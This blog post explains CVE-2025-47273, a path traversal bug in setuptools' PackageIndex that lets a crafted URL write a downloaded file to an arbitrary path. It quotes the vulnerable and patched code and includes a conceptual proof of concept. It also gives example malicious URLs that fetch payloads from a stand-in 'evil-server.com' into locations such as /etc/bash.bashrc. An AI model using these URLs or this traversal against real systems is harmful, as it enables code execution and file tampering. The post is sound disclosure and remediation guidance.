CVE-2025-47273: Setuptools' Detour Disaster – How a Misguided Path Can Lead to Arbitrary File Writes

Robert Morgan

Robert Morgan

— 8 min read

Hey everyone, grab your security hard hats! Today, we're diving into CVE-2025-47273, a sneaky path traversal vulnerability discovered in setuptools, one of the foundational libraries in the Python ecosystem. While parts of the affected component are deprecated, this bug serves as a great reminder that even old code can pack a punch. We'll explore how a seemingly innocent file download operation could be twisted to write files almost anywhere on your system.

TL;DR / Executive Summary

CVE-2025-47273 is a path traversal vulnerability in the PackageIndex class of the Python setuptools library, specifically within its _download_url method. Versions prior to 78.1.1 are affected. The vulnerability stems from insufficient sanitization of filenames derived from URLs, combined with the behavior of os.path.join. An attacker could craft a malicious URL, causing the application to write a downloaded file to an arbitrary location on the filesystem with the permissions of the running Python process. This could lead to Remote Code Execution (RCE) depending on the context and where the file is written. The official CVSS score is yet to be assigned, but similar vulnerabilities often score High. Mitigation involves upgrading setuptools to version 78.1.1 or later.

Introduction: The Trusty Toolshed with a Leaky Roof

Imagine you're a Python developer. You're constantly installing packages, building distributions, and generally making the Python magic happen. Underpinning much of this is setuptools, a library so fundamental it's like the air Python projects breathe. It handles packaging, distribution, and installation. One of its older, now-deprecated features, easy_install (via PackageIndex), was designed to fetch and install packages from various sources.

Now, what if I told you that this trusty, albeit aging, tool had a flaw? A flaw that, if exploited, could allow an attacker to use easy_install not to install a helpful package, but to plant a malicious file anywhere they choose on your system? That's precisely what CVE-2025-47273 is about. While easy_install and PackageIndex are on their way out, replaced by pip and modern workflows, they might still be lurking in older projects or scripts, making this vulnerability relevant for those maintaining legacy systems or for understanding a classic vulnerability pattern. This matters because it highlights how even well-established libraries can harbor subtle bugs with significant impact.

Technical Deep Dive: Unpacking the Traversal

Let's get our hands dirty and look at the nitty-gritty of CVE-2025-47273.

Vulnerability Details & Root Cause Analysis

The vulnerability lies within the _download_url method in setuptools/package_index.py. This method is responsible for downloading a file from a given URL and saving it to a temporary directory.

Here's the problematic snippet from versions before 78.1.1:

# setuptools/package_index.py (vulnerable version)
# ...
    def _download_url(self, url, tmpdir):
        # Determine download filename
        #
        name, _fragment = egg_info_for_url(url) # Extracts potential filename from URL
        if name:
            while '..' in name:
                name = name.replace('..', '.').replace('\\\\', '_') # Attempted sanitization
        else:
            name = "__downloaded__"  # default if URL has no path contents

        if name.endswith('.egg.zip'): # Note: advisory shows .[egg.zip](http://egg.zip/) which is a markdown link
            name = name[:-4]  # strip the extra .zip before download

 -->    filename = os.path.join(tmpdir, name) # The critical line!
        # ... proceeds to download to 'filename'

The root cause is a classic path traversal due to a misunderstanding or misapplication of os.path.join() and insufficient input sanitization:

  1. Filename Extraction: name, _fragment = egg_info_for_url(url) extracts a filename from the provided URL. An attacker controls this URL.
  2. Insufficient Sanitization: The code attempts to sanitize name by replacing .. (dot-dot, a common path traversal sequence) with . and backslashes with underscores. However, this is not enough. Crucially, it doesn't prevent name from starting with a / (on Unix-like systems) or a drive letter like C: (on Windows).
  3. The os.path.join() Quirk: This is the linchpin. According to Python's os.path.join() documentation: "If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component."
    So, if tmpdir is, say, /tmp/mysecurefolder, and an attacker crafts a URL such that name becomes /etc/evilfile, then os.path.join("/tmp/mysecurefolder", "/etc/evilfile") will result in just /etc/evilfile. The tmpdir prefix is completely discarded!

It's like telling a valet to park your car in "Spot 5, Valet Area" (tmpdir) but handing them a note that says the car's actual destination is "The CEO's private garage, accessible via this absolute address: /boss/garage" (name starting with /). The valet, following os.path.join's logic, ignores "Spot 5" and heads straight for the CEO's garage.

Attack Vectors

The primary attack vector involves tricking a user or an automated system running easy_install (or directly using PackageIndex) into processing a malicious URL. This could happen if:

  • A custom or compromised Python Package Index (PyPI) serves malicious URLs in its package links.
  • A developer is tricked into running easy_install with a crafted URL pointing to an attacker-controlled server.
  • An application dynamically constructs URLs for PackageIndex based on user-supplied input without proper validation.

Business Impact

The impact of CVE-2025-47273 is an Arbitrary File Write. An attacker can write a file (the content of which they also control via the download) to any location on the filesystem where the user running the Python script has write permissions. This can lead to:

  • Remote Code Execution (RCE): If the attacker can write to a location that results in code execution (e.g., web server root, a user's cron directory, startup scripts, or overwriting critical system binaries or libraries).
  • Denial of Service (DoS): By overwriting critical system files or filling up the disk.
  • Data Corruption/Manipulation: Overwriting sensitive configuration files or data.
  • Privilege Escalation: If the Python process runs with elevated privileges, the attacker could gain higher access.

Even though easy_install is deprecated, its presence in legacy systems or CI/CD pipelines that haven't fully migrated could still expose organizations.

Proof of Concept (Simplified & Theoretical)

Let's demonstrate the core issue with os.path.join and a hypothetical malicious name.

Vulnerable Logic (Conceptual Python):

import os

def vulnerable_download_path(tmpdir, url_derived_name):
    # Simplified sanitization attempt (as in the original code)
    name = url_derived_name
    if name:
        while '..' in name:
            name = name.replace('..', '.') # Incomplete sanitization
    else:
        name = "__downloaded__"

    # The vulnerable join
    target_path = os.path.join(tmpdir, name)
    print(f"Intended temporary directory: {tmpdir}")
    print(f"Derived name from URL: {url_derived_name}")
    print(f"Sanitized name: {name}")
    print(f"Calculated target path: {target_path}")
    return target_path

# --- Attacker's perspective ---
# Attacker controls the URL, which leads to url_derived_name

# Scenario 1: Attacker wants to write to /etc/malicious_config on a Linux system
tmp_directory = "/var/tmp/downloads"
malicious_name_linux = "/etc/malicious_config" # Starts with '/'
vulnerable_download_path(tmp_directory, malicious_name_linux)
# Expected Output:
# Intended temporary directory: /var/tmp/downloads
# Derived name from URL: /etc/malicious_config
# Sanitized name: /etc/malicious_config
# Calculated target path: /etc/malicious_config  <- tmp_directory is discarded!

print("-" * 20)

# Scenario 2: Attacker wants to write to C:\Windows\hacked.ini on Windows
malicious_name_windows = "C:\\Windows\\hacked.ini" # Starts with drive letter
vulnerable_download_path(tmp_directory, malicious_name_windows)
# Expected Output (if run on Windows):
# Intended temporary directory: /var/tmp/downloads  (or C:\some\temp if on Windows)
# Derived name from URL: C:\Windows\hacked.ini
# Sanitized name: C:\Windows\hacked.ini
# Calculated target path: C:\Windows\hacked.ini <- tmp_directory is discarded!

In a real exploit leveraging CVE-2025-47273, an attacker would craft a URL like https://evil-server.com/payload.sh#/etc/bash.bashrc or https://evil-server.com/payload.exe#/C:/Windows/System32/evil.dll. The egg_info_for_url function would extract /etc/bash.bashrc or /C:/Windows/System32/evil.dll (or similar, depending on its exact parsing logic for fragments vs. paths) as the name. The setuptools code would then attempt to download payload.sh or payload.exe and save it to the attacker-chosen absolute path.

Mitigation and Remediation

Defending against CVE-2025-47273 involves both immediate fixes and long-term strategies.

Immediate Fixes

  1. Upgrade setuptools: The primary and most effective fix is to upgrade setuptools to version 78.1.1 or later.
    pip install --upgrade setuptools
    Or, if managing dependencies with requirements.txt or similar:
    setuptools>=78.1.1

Patch Analysis: How the Fix Works

The fix was introduced in commit 250a6d17978f9f6ac3ac887091f2d32886fbbb0b. The core change is in setuptools/package_index.py, within a refactored method _resolve_download_filename (which _download_url now calls):

# setuptools/package_index.py (patched version)
# ...
    @staticmethod
    def _resolve_download_filename(url, tmpdir):
        # ... (previous logic for deriving 'name' from URL) ...
        name, _fragment = egg_info_for_url(url)
        if name:
            while '..' in name:
                name = name.replace('..', '.').replace('\\\\', '_')
        else:
            name = "__downloaded__"

        if name.endswith('.egg.zip'):
            name = name[:-4]

        filename = os.path.join(tmpdir, name) # Still uses os.path.join

        # THE FIX: Ensure path resolves within the tmpdir
        if not filename.startswith(str(tmpdir)): # On POSIX, os.path.abspath might be better
                                                 # but startswith(str(tmpdir)) is a direct check
                                                 # For Windows, this also needs careful handling of path separators
                                                 # A more robust check would be:
                                                 # resolved_path = os.path.abspath(filename)
                                                 # resolved_tmpdir = os.path.abspath(tmpdir)
                                                 # if not resolved_path.startswith(resolved_tmpdir):
            raise ValueError(f"Invalid filename {filename}")

        return filename
# ...

The crucial addition is the check: if not filename.startswith(str(tmpdir)): raise ValueError(...).
This ensures that after os.path.join does its thing, the resulting filename must still begin with the path of the intended tmpdir. If name was absolute (e.g., /etc/passwd), filename would become /etc/passwd. This would not start with /tmp/some_temp_dir/, so the check would fail, and an error would be raised, preventing the malicious write.

It's like our valet, after being told the car's destination is "The CEO's private garage," now has a supervisor who double-checks: "Wait, does 'The CEO's private garage' start with 'Valet Area Spot 5'? No? Then you're not parking it there!"

Long-Term Solutions

  1. Migrate from easy_install: If you're still using easy_install, prioritize migrating to pip and modern pyproject.toml-based dependency management. This reduces the attack surface associated with deprecated components.
  2. Principle of Least Privilege: Run applications with the minimum necessary permissions. If the Python process can't write to sensitive locations, this vulnerability's impact is significantly reduced.
  3. Input Validation: When dealing with external inputs like URLs that influence file paths, always perform rigorous validation and sanitization. Assume all input is malicious. Use allow-lists for characters and path components where possible.
  4. Secure Path Construction: Be extremely careful with functions like os.path.join. Understand their behavior with absolute paths. Consider using os.path.abspath() and then checking if the resolved path is within an expected base directory.

Verification Steps

  1. Check your setuptools version:
    pip show setuptools
    Ensure the version is 78.1.1 or higher.
  2. Review code for direct usage of setuptools.package_index.PackageIndex or easy_install commands, especially if they handle untrusted URLs.

Timeline of CVE-2025-47273

  • Discovery Date: Reported via Huntr (bounty d6362117-ad57-4e83-951f-b8141c6e7ca5). Specific date not listed in provided CVE details, but prior to vendor notification.
  • Vendor Notification: Implied by the creation of GitHub issue pypa/setuptools/issues/4946.
  • Patch Development: The fix commit 250a6d17978f9f6ac3ac887091f2d32886fbbb0b addresses issue #4946.
  • Patch Availability: setuptools version 78.1.1 (as per advisory, containing the fix).
  • Public Disclosure Dates:
    • GitHub Advisory (GHSA-5rjg-fvgr-3xxf) initial publish: May 17, 2025

Lessons Learned: Old Dogs, New Tricks (and Old Traps)

This vulnerability, CVE-2025-47273, while in a deprecated component of setuptools, offers valuable lessons:

  1. Path Traversal is Timeless: It's one of the oldest web and application vulnerabilities, yet it keeps reappearing. Always be vigilant about how file paths are constructed from external input.
  2. Understand Your Tools Deeply: Functions like os.path.join() have specific behaviors that can be security-critical. Don't assume; verify. The Python documentation is your friend!
  3. Deprecation Doesn't Mean Disappearance: Deprecated code can linger in systems for years. While the risk surface for easy_install is smaller now, it's not zero. A defense-in-depth strategy includes auditing and eventually removing or replacing such components.
  4. Sanitization is Hard: The original code attempted sanitization (name.replace('..', '.')). This highlights that naive or incomplete sanitization is often worse than none because it can create a false sense of security. A robust approach is to validate against an allow-list of characters/patterns or ensure the final path is strictly within a designated, safe base directory.

One Key Takeaway: Security is a continuous process. Even foundational libraries maintained by experienced developers can have vulnerabilities. Regular updates, code reviews, and staying informed about advisories are crucial.

What's Lurking in Your Legacy Code?

CVE-2025-47273 in setuptools is a good reminder to check not just our active development projects but also the older, perhaps forgotten, parts of our infrastructure. What other "deprecated but still active" components might be hiding similar surprises? Time for a spring cleaning, perhaps?

Stay safe, and keep learning!

References and Further Reading

Read more